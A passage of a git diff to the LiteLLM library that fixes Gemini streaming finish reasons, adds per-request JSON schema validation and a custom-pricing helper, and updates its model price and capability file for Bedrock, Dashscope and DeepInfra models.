whether tool_calls have been seen across streaming chunks. + # Gemini sends tool_calls and finishReason in separate chunks, + # so we need to remember if earlier chunks contained tool_calls + # to correctly set finish_reason="tool_calls" per the OpenAI spec. + if not self.has_seen_tool_calls: + for choice in model_response.choices: + if hasattr(choice, "delta") and choice.delta and choice.delta.tool_calls: + self.has_seen_tool_calls = True + break + + # Handle final chunk with finishReason but no content. + # _process_candidates skips candidates without "content", + # so the finish_reason from the final chunk is lost. + if not model_response.choices and _candidates: + from litellm.types.utils import Delta, StreamingChoices + + for candidate in _candidates: + finish_reason_str = candidate.get("finishReason") + if finish_reason_str is not None: + if self.has_seen_tool_calls: + mapped_finish_reason = "tool_calls" + else: + mapped_finish_reason = VertexGeminiConfig._check_finish_reason( + None, finish_reason_str + ) + choice = StreamingChoices( + finish_reason=mapped_finish_reason, + index=candidate.get("index", 0), + delta=Delta(content=None, role=None), + logprobs=None, + enhancements=None, + ) + model_response.choices.append(choice) + setattr(model_response, "vertex_ai_grounding_metadata", grounding_metadata) # type: ignore setattr(model_response, "vertex_ai_url_context_metadata", url_context_metadata) # type: ignore setattr(model_response, "vertex_ai_safety_ratings", safety_ratings) # type: ignore diff --git a/litellm/main.py b/litellm/main.py index c3ac4c24ae2..794d30ed384 100644 --- a/litellm/main.py +++ b/litellm/main.py @@ -107,6 +107,7 @@ from litellm.realtime_api.main import _realtime_health_check from litellm.secret_managers.main import get_secret_bool, get_secret_str from litellm.types.router import GenericLiteLLMParams from litellm.types.utils import ( + CustomPricingLiteLLMParams, ModelResponseStream, RawRequestTypedDict, StreamingChoices, @@ -418,6 +419,8 @@ async def acompletion( # noqa: PLR0915 web_search_options: Optional[OpenAIWebSearchOptions] = None, # Session management shared_session: Optional["ClientSession"] = None, + # Per-request JSON schema validation (overrides litellm.enable_json_schema_validation) + enable_json_schema_validation: Optional[bool] = None, **kwargs, ) -> Union[ModelResponse, CustomStreamWrapper]: """ @@ -562,6 +565,7 @@ async def acompletion( # noqa: PLR0915 "thinking": thinking, "web_search_options": web_search_options, "shared_session": shared_session, + "enable_json_schema_validation": enable_json_schema_validation, } if custom_llm_provider is None: _, custom_llm_provider, _, _ = get_llm_provider( @@ -996,6 +1000,32 @@ def _drop_input_examples_from_tools( return cleaned_tools +def _build_custom_pricing_entry( + custom_llm_provider: str, + kwargs: dict, + model_info: Optional[dict] = None, +) -> dict: + """Build a complete model cost entry from kwargs and model_info. + + Collects all CustomPricingLiteLLMParams fields present in kwargs and + merges metadata from model_info (mode, supports_prompt_caching, max_tokens) + so that register_model() receives the full pricing configuration. + """ + entry: dict = {"litellm_provider": custom_llm_provider} + + for field_name in CustomPricingLiteLLMParams.model_fields: + value = kwargs.get(field_name) + if value is not None: + entry[field_name] = value + + if model_info and isinstance(model_info, dict): + for key in ("mode", "supports_prompt_caching", "max_tokens"): + if key in model_info and model_info[key] is not None: + entry.setdefault(key, model_info[key]) + + return entry + + @tracer.wrap() @client def completion( # type: ignore # noqa: PLR0915 @@ -1047,6 +1077,8 @@ def completion( # type: ignore # noqa: PLR0915 thinking: Optional[AnthropicThinkingParam] = None, # Session management shared_session: Optional["ClientSession"] = None, + # Per-request JSON schema validation (overrides litellm.enable_json_schema_validation) + enable_json_schema_validation: Optional[bool] = None, **kwargs, ) -> Union[ModelResponse, CustomStreamWrapper]: """ @@ -1167,6 +1199,7 @@ def completion( # type: ignore # noqa: PLR0915 thinking=thinking, web_search_options=web_search_options, shared_session=shared_session, + enable_json_schema_validation=enable_json_schema_validation, **kwargs, ) api_base = kwargs.get("api_base", None) @@ -1351,27 +1384,16 @@ def completion( # type: ignore # noqa: PLR0915 timeout = float(timeout) # type: ignore ### REGISTER CUSTOM MODEL PRICING -- IF GIVEN ### - if input_cost_per_token is not None and output_cost_per_token is not None: + if ( + input_cost_per_token is not None and output_cost_per_token is not None + ) or input_cost_per_second is not None: litellm.register_model( { - f"{custom_llm_provider}/{model}": { - "input_cost_per_token": input_cost_per_token, - "output_cost_per_token": output_cost_per_token, - "litellm_provider": custom_llm_provider, - } - } - ) - elif ( - input_cost_per_second is not None - ): # time based pricing just needs cost in place - output_cost_per_second = output_cost_per_second - litellm.register_model( - { - f"{custom_llm_provider}/{model}": { - "input_cost_per_second": input_cost_per_second, - "output_cost_per_second": output_cost_per_second, - "litellm_provider": custom_llm_provider, - } + f"{custom_llm_provider}/{model}": _build_custom_pricing_entry( + custom_llm_provider=custom_llm_provider, + kwargs=kwargs, + model_info=model_info, + ) } ) ### BUILD CUSTOM PROMPT TEMPLATE -- IF GIVEN ### @@ -4644,7 +4666,6 @@ def embedding( # noqa: PLR0915 input_cost_per_token = kwargs.get("input_cost_per_token", None) output_cost_per_token = kwargs.get("output_cost_per_token", None) input_cost_per_second = kwargs.get("input_cost_per_second", None) - output_cost_per_second = kwargs.get("output_cost_per_second", None) openai_params = [ "user", "dimensions", @@ -4694,25 +4715,16 @@ def embedding( # noqa: PLR0915 ) ### REGISTER CUSTOM MODEL PRICING -- IF GIVEN ### - if input_cost_per_token is not None and output_cost_per_token is not None: + if ( + input_cost_per_token is not None and output_cost_per_token is not None + ) or input_cost_per_second is not None: litellm.register_model( { - f"{custom_llm_provider}/{model}": { - "input_cost_per_token": input_cost_per_token, - "output_cost_per_token": output_cost_per_token, - "litellm_provider": custom_llm_provider, - } - } - ) - if input_cost_per_second is not None: # time based pricing just needs cost in place - output_cost_per_second = output_cost_per_second or 0.0 - litellm.register_model( - { - f"{custom_llm_provider}/{model}": { - "input_cost_per_second": input_cost_per_second, - "output_cost_per_second": output_cost_per_second, - "litellm_provider": custom_llm_provider, - } + f"{custom_llm_provider}/{model}": _build_custom_pricing_entry( + custom_llm_provider=custom_llm_provider, + kwargs=kwargs, + model_info=kwargs.get("model_info"), + ) } ) diff --git a/litellm/model_prices_and_context_window_backup.json b/litellm/model_prices_and_context_window_backup.json index 71da6f0e0a6..9a2847eab8f 100644 --- a/litellm/model_prices_and_context_window_backup.json +++ b/litellm/model_prices_and_context_window_backup.json @@ -846,7 +846,9 @@ "supports_pdf_input": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 2.5e-08, + "cache_creation_input_token_cost": 3.125e-07 }, "anthropic.claude-3-opus-20240229-v1:0": { "input_cost_per_token": 1.5e-05, @@ -859,7 +861,9 @@ "supports_function_calling": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 1.5e-06, + "cache_creation_input_token_cost": 1.875e-05 }, "anthropic.claude-3-sonnet-20240229-v1:0": { "input_cost_per_token": 3e-06, @@ -873,7 +877,9 @@ "supports_pdf_input": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 3e-07, + "cache_creation_input_token_cost": 3.75e-06 }, "anthropic.claude-instant-v1": { "input_cost_per_token": 8e-07, @@ -1512,7 +1518,9 @@ "supports_pdf_input": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 3e-07, + "cache_creation_input_token_cost": 3.75e-06 }, "apac.anthropic.claude-3-5-sonnet-20241022-v2:0": { "cache_creation_input_token_cost": 3.75e-06, @@ -1545,7 +1553,9 @@ "supports_pdf_input": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 2.5e-08, + "cache_creation_input_token_cost": 3.125e-07 }, "apac.anthropic.claude-haiku-4-5-20251001-v1:0": { "cache_creation_input_token_cost": 1.375e-06, @@ -1581,7 +1591,9 @@ "supports_pdf_input": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 3e-07, + "cache_creation_input_token_cost": 3.75e-06 }, "apac.anthropic.claude-sonnet-4-20250514-v1:0": { "cache_creation_input_token_cost": 3.75e-06, @@ -6925,7 +6937,9 @@ "supports_function_calling": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 3e-07, + "cache_creation_input_token_cost": 3.75e-06 }, "bedrock/sa-east-1/meta.llama3-70b-instruct-v1:0": { "input_cost_per_token": 4.45e-06, @@ -7344,7 +7358,9 @@ "supports_pdf_input": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 3.6e-07, + "cache_creation_input_token_cost": 4.5e-06 }, "bedrock/us-gov-east-1/anthropic.claude-3-haiku-20240307-v1:0": { "input_cost_per_token": 3e-07, @@ -7358,7 +7374,9 @@ "supports_pdf_input": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 3e-08, + "cache_creation_input_token_cost": 3.75e-07 }, "bedrock/us-gov-east-1/claude-sonnet-4-5-20250929-v1:0": { "input_cost_per_token": 3.3e-06, @@ -7376,7 +7394,9 @@ "supports_reasoning": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 3.3e-07, + "cache_creation_input_token_cost": 4.125e-06 }, "bedrock/us-gov-east-1/meta.llama3-70b-instruct-v1:0": { "input_cost_per_token": 2.65e-06, @@ -7489,7 +7509,9 @@ "supports_pdf_input": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 3.6e-07, + "cache_creation_input_token_cost": 4.5e-06 }, "bedrock/us-gov-west-1/anthropic.claude-3-haiku-20240307-v1:0": { "input_cost_per_token": 3e-07, @@ -7503,7 +7525,9 @@ "supports_pdf_input": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 3e-08, + "cache_creation_input_token_cost": 3.75e-07 }, "bedrock/us-gov-west-1/claude-sonnet-4-5-20250929-v1:0": { "input_cost_per_token": 3.3e-06, @@ -7521,7 +7545,9 @@ "supports_reasoning": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 3.3e-07, + "cache_creation_input_token_cost": 4.125e-06 }, "bedrock/us-gov-west-1/meta.llama3-70b-instruct-v1:0": { "input_cost_per_token": 2.65e-06, @@ -9753,6 +9779,190 @@ } ] }, + "dashscope/qwen3-max-2026-01-23": { + "litellm_provider": "dashscope", + "max_input_tokens": 258048, + "max_output_tokens": 65536, + "max_tokens": 65536, + "mode": "chat", + "source": "https://www.alibabacloud.com/help/en/model-studio/models", + "supports_function_calling": true, + "supports_reasoning": true, + "supports_tool_choice": true, + "tiered_pricing": [ + { + "input_cost_per_token": 1.2e-06, + "output_cost_per_token": 6e-06, + "range": [ + 0, + 32000.0 + ] + }, + { + "input_cost_per_token": 2.4e-06, + "output_cost_per_token": 1.2e-05, + "range": [ + 32000.0, + 128000.0 + ] + }, + { + "input_cost_per_token": 3e-06, + "output_cost_per_token": 1.5e-05, + "range": [ + 128000.0, + 252000.0 + ] + } + ] + }, + "dashscope/qwen3-next-80b-a3b-instruct": { + "input_cost_per_token": 1.5e-07, + "litellm_provider": "dashscope", + "max_input_tokens": 262144, + "max_output_tokens": 65536, + "max_tokens": 65536, + "mode": "chat", + "output_cost_per_token": 1.2e-06, + "source": "https://www.alibabacloud.com/help/en/model-studio/model-pricing", + "supports_function_calling": true, + "supports_tool_choice": true + }, + "dashscope/qwen3-next-80b-a3b-thinking": { + "input_cost_per_token": 1.5e-07, + "litellm_provider": "dashscope", + "max_input_tokens": 262144, + "max_output_tokens": 65536, + "max_tokens": 65536, + "mode": "chat", + "output_cost_per_token": 1.2e-06, + "source": "https://www.alibabacloud.com/help/en/model-studio/model-pricing", + "supports_function_calling": true, + "supports_reasoning": true, + "supports_tool_choice": true + }, + "dashscope/qwen3-vl-235b-a22b-instruct": { + "input_cost_per_token": 4e-07, + "litellm_provider": "dashscope", + "max_input_tokens": 131072, + "max_output_tokens": 32768, + "max_tokens": 32768, + "mode": "chat", + "output_cost_per_token": 1.6e-06, + "source": "https://www.alibabacloud.com/help/en/model-studio/model-pricing", + "supports_function_calling": true, + "supports_tool_choice": true, + "supports_vision": true + }, + "dashscope/qwen3-vl-235b-a22b-thinking": { + "input_cost_per_token": 4e-07, + "litellm_provider": "dashscope", + "max_input_tokens": 131072, + "max_output_tokens": 32768, + "max_tokens": 32768, + "mode": "chat", + "output_cost_per_token": 4e-06, + "source": "https://www.alibabacloud.com/help/en/model-studio/model-pricing", + "supports_function_calling": true, + "supports_reasoning": true, + "supports_tool_choice": true, + "supports_vision": true + }, + "dashscope/qwen3-vl-32b-instruct": { + "input_cost_per_token": 1.6e-07, + "litellm_provider": "dashscope", + "max_input_tokens": 131072, + "max_output_tokens": 32768, + "max_tokens": 32768, + "mode": "chat", + "output_cost_per_token": 6.4e-07, + "source": "https://www.alibabacloud.com/help/en/model-studio/model-pricing", + "supports_function_calling": true, + "supports_tool_choice": true, + "supports_vision": true + }, + "dashscope/qwen3-vl-32b-thinking": { + "input_cost_per_token": 1.6e-07, + "litellm_provider": "dashscope", + "max_input_tokens": 131072, + "max_output_tokens": 32768, + "max_tokens": 32768, + "mode": "chat", + "output_cost_per_token": 2.87e-06, + "source": "https://www.alibabacloud.com/help/en/model-studio/model-pricing", + "supports_function_calling": true, + "supports_reasoning": true, + "supports_tool_choice": true, + "supports_vision": true + }, + "dashscope/qwen3-vl-plus": { + "litellm_provider": "dashscope", + "max_input_tokens": 260096, + "max_output_tokens": 32768, + "max_tokens": 32768, + "mode": "chat", + "source": "https://www.alibabacloud.com/help/en/model-studio/models", + "supports_function_calling": true, + "supports_reasoning": true, + "supports_tool_choice": true, + "supports_vision": true, + "tiered_pricing": [ + { + "input_cost_per_token": 2e-07, + "output_cost_per_token": 1.6e-06, + "range": [ + 0, + 32000.0 + ] + }, + { + "input_cost_per_token": 3e-07, + "output_cost_per_token": 2.4e-06, + "range": [ + 32000.0, + 128000.0 + ] + }, + { + "input_cost_per_token": 6e-07, + "output_cost_per_token": 4.8e-06, + "range": [ + 128000.0, + 256000.0 + ] + } + ] + }, + "dashscope/qwen3.5-plus": { + "litellm_provider": "dashscope", + "max_input_tokens": 991808, + "max_output_tokens": 65536, + "max_tokens": 65536, + "mode": "chat", + "source": "https://www.alibabacloud.com/help/en/model-studio/models", + "supports_function_calling": true, + "supports_reasoning": true, + "supports_tool_choice": true, + "supports_vision": true, + "tiered_pricing": [ + { + "input_cost_per_token": 4e-07, + "output_cost_per_token": 2.4e-06, + "range": [ + 0, + 256000.0 + ] + }, + { + "input_cost_per_token": 5e-07, + "output_cost_per_token": 3e-06, + "range": [ + 256000.0, + 1000000.0 + ] + } + ] + }, "dashscope/qwq-plus": { "input_cost_per_token": 8e-07, "litellm_provider": "dashscope", @@ -10750,7 +10960,8 @@ "output_cost_per_token": 9e-08, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/NousResearch/Hermes-3-Llama-3.1-405B": { "max_tokens": 131072, @@ -10760,7 +10971,8 @@ "output_cost_per_token": 1e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/NousResearch/Hermes-3-Llama-3.1-70B": { "max_tokens": 131072, @@ -10780,7 +10992,8 @@ "output_cost_per_token": 4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen2.5-72B-Instruct": { "max_tokens": 32768, @@ -10790,7 +11003,8 @@ "output_cost_per_token": 3.9e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen2.5-7B-Instruct": { "max_tokens": 32768, @@ -10811,7 +11025,8 @@ "litellm_provider": "deepinfra", "mode": "chat", "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-14B": { "max_tokens": 40960, @@ -10821,7 +11036,8 @@ "output_cost_per_token": 2.4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-235B-A22B": { "max_tokens": 40960, @@ -10831,7 +11047,8 @@ "output_cost_per_token": 5.4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-235B-A22B-Instruct-2507": { "max_tokens": 262144, @@ -10841,7 +11058,8 @@ "output_cost_per_token": 6e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-235B-A22B-Thinking-2507": { "max_tokens": 262144, @@ -10851,7 +11069,8 @@ "output_cost_per_token": 2.9e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-30B-A3B": { "max_tokens": 40960, @@ -10861,7 +11080,8 @@ "output_cost_per_token": 2.9e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-32B": { "max_tokens": 40960, @@ -10871,7 +11091,8 @@ "output_cost_per_token": 2.8e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-Coder-480B-A35B-Instruct": { "max_tokens": 262144, @@ -10881,7 +11102,8 @@ "output_cost_per_token": 1.6e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-Coder-480B-A35B-Instruct-Turbo": { "max_tokens": 262144, @@ -10891,7 +11113,8 @@ "output_cost_per_token": 1.2e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-Next-80B-A3B-Instruct": { "max_tokens": 262144, @@ -10901,7 +11124,8 @@ "output_cost_per_token": 1.4e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-Next-80B-A3B-Thinking": { "max_tokens": 262144, @@ -10911,7 +11135,8 @@ "output_cost_per_token": 1.4e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Sao10K/L3-8B-Lunaris-v1-Turbo": { "max_tokens": 8192, @@ -10962,7 +11187,8 @@ "cache_read_input_token_cost": 3.3e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/anthropic/claude-4-opus": { "max_tokens": 200000, @@ -10972,7 +11198,8 @@ "output_cost_per_token": 8.25e-05, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/anthropic/claude-4-sonnet": { "max_tokens": 200000, @@ -10982,7 +11209,8 @@ "output_cost_per_token": 1.65e-05, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-R1": { "max_tokens": 163840, @@ -10992,7 +11220,8 @@ "output_cost_per_token": 2.4e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-R1-0528": { "max_tokens": 163840, @@ -11003,7 +11232,8 @@ "cache_read_input_token_cost": 4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-R1-0528-Turbo": { "max_tokens": 32768, @@ -11013,7 +11243,8 @@ "output_cost_per_token": 3e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-R1-Distill-Llama-70B": { "max_tokens": 131072, @@ -11033,7 +11264,8 @@ "output_cost_per_token": 2.7e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-R1-Turbo": { "max_tokens": 40960, @@ -11043,7 +11275,8 @@ "output_cost_per_token": 3e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-V3": { "max_tokens": 163840, @@ -11053,7 +11286,8 @@ "output_cost_per_token": 8.9e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-V3-0324": { "max_tokens": 163840, @@ -11063,7 +11297,8 @@ "output_cost_per_token": 8.8e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-V3.1": { "max_tokens": 163840, @@ -11075,7 +11310,8 @@ "litellm_provider": "deepinfra", "mode": "chat", "supports_tool_choice": true, - "supports_reasoning": true + "supports_reasoning": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-V3.1-Terminus": { "max_tokens": 163840, @@ -11086,10 +11322,11 @@ "cache_read_input_token_cost": 2.16e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/google/gemini-2.0-flash-001": { - "deprecation_date": "2026-03-31", + "deprecation_date": "2026-06-01", "max_tokens": 1000000, "max_input_tokens": 1000000, "max_output_tokens": 1000000, @@ -11097,7 +11334,8 @@ "output_cost_per_token": 4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/google/gemini-2.5-flash": { "max_tokens": 1000000, @@ -11107,7 +11345,8 @@ "output_cost_per_token": 2.5e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/google/gemini-2.5-pro": { "max_tokens": 1000000, @@ -11117,7 +11356,8 @@ "output_cost_per_token": 1e-05, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/google/gemma-3-12b-it": { "max_tokens": 131072, @@ -11127,7 +11367,8 @@ "output_cost_per_token": 1e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/google/gemma-3-27b-it": { "max_tokens": 131072, @@ -11137,7 +11378,8 @@ "output_cost_per_token": 1.6e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/google/gemma-3-4b-it": { "max_tokens": 131072, @@ -11147,7 +11389,8 @@ "output_cost_per_token": 8e-08, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Llama-3.2-11B-Vision-Instruct": { "max_tokens": 131072, @@ -11167,7 +11410,8 @@ "output_cost_per_token": 2e-08, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Llama-3.3-70B-Instruct": { "max_tokens": 131072, @@ -11177,7 +11421,8 @@ "output_cost_per_token": 4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Llama-3.3-70B-Instruct-Turbo": { "max_tokens": 131072, @@ -11187,6 +11432,7 @@ "output_cost_per_token": 3.9e-07, "litellm_provider": "deepinfra", "mode": "chat", + "supports_function_calling": true, "supports_tool_choice": true }, "deepinfra/meta-llama/Llama-4-Maverick-17B-128E-Instruct-FP8": { @@ -11197,7 +11443,8 @@ "output_cost_per_token": 6e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Llama-4-Scout-17B-16E-Instruct": { "max_tokens": 327680, @@ -11207,7 +11454,8 @@ "output_cost_per_token": 3e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Llama-Guard-3-8B": { "max_tokens": 131072, @@ -11237,7 +11485,8 @@ "output_cost_per_token": 6e-08, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Meta-Llama-3.1-70B-Instruct": { "max_tokens": 131072, @@ -11247,7 +11496,8 @@ "output_cost_per_token": 4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Meta-Llama-3.1-70B-Instruct-Turbo": { "max_tokens": 131072, @@ -11257,7 +11507,8 @@ "output_cost_per_token": 2.8e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Meta-Llama-3.1-8B-Instruct": { "max_tokens": 131072, @@ -11267,7 +11518,8 @@ "output_cost_per_token": 5e-08, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Meta-Llama-3.1-8B-Instruct-Turbo": { "max_tokens": 131072, @@ -11277,7 +11529,8 @@ "output_cost_per_token": 3e-08, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/microsoft/WizardLM-2-8x22B": { "max_tokens": 65536, @@ -11297,7 +11550,8 @@ "output_cost_per_token": 1.4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/mistralai/Mistral-Nemo-Instruct-2407": { "max_tokens": 131072, @@ -11307,7 +11561,8 @@ "output_cost_per_token": 4e-08, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/mistralai/Mistral-Small-24B-Instruct-2501": { "max_tokens": 32768, @@ -11317,7 +11572,8 @@ "output_cost_per_token": 8e-08, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/mistralai/Mistral-Small-3.2-24B-Instruct-2506": { "max_tokens": 128000, @@ -11327,7 +11583,8 @@ "output_cost_per_token": 2e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/mistralai/Mixtral-8x7B-Instruct-v0.1": { "max_tokens": 32768, @@ -11337,7 +11594,8 @@ "output_cost_per_token": 4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/moonshotai/Kimi-K2-Instruct": { "max_tokens": 131072, @@ -11347,7 +11605,8 @@ "output_cost_per_token": 2e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/moonshotai/Kimi-K2-Instruct-0905": { "max_tokens": 262144, @@ -11358,7 +11617,8 @@ "cache_read_input_token_cost": 4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/nvidia/Llama-3.1-Nemotron-70B-Instruct": { "max_tokens": 131072, @@ -11368,7 +11628,8 @@ "output_cost_per_token": 6e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/nvidia/Llama-3.3-Nemotron-Super-49B-v1.5": { "max_tokens": 131072, @@ -11378,7 +11639,8 @@ "output_cost_per_token": 4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/nvidia/NVIDIA-Nemotron-Nano-9B-v2": { "max_tokens": 131072, @@ -11388,7 +11650,8 @@ "output_cost_per_token": 1.6e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/openai/gpt-oss-120b": { "max_tokens": 131072, @@ -11398,7 +11661,8 @@ "output_cost_per_token": 4.5e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/openai/gpt-oss-20b": { "max_tokens": 131072, @@ -11408,7 +11672,8 @@ "output_cost_per_token": 1.5e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + 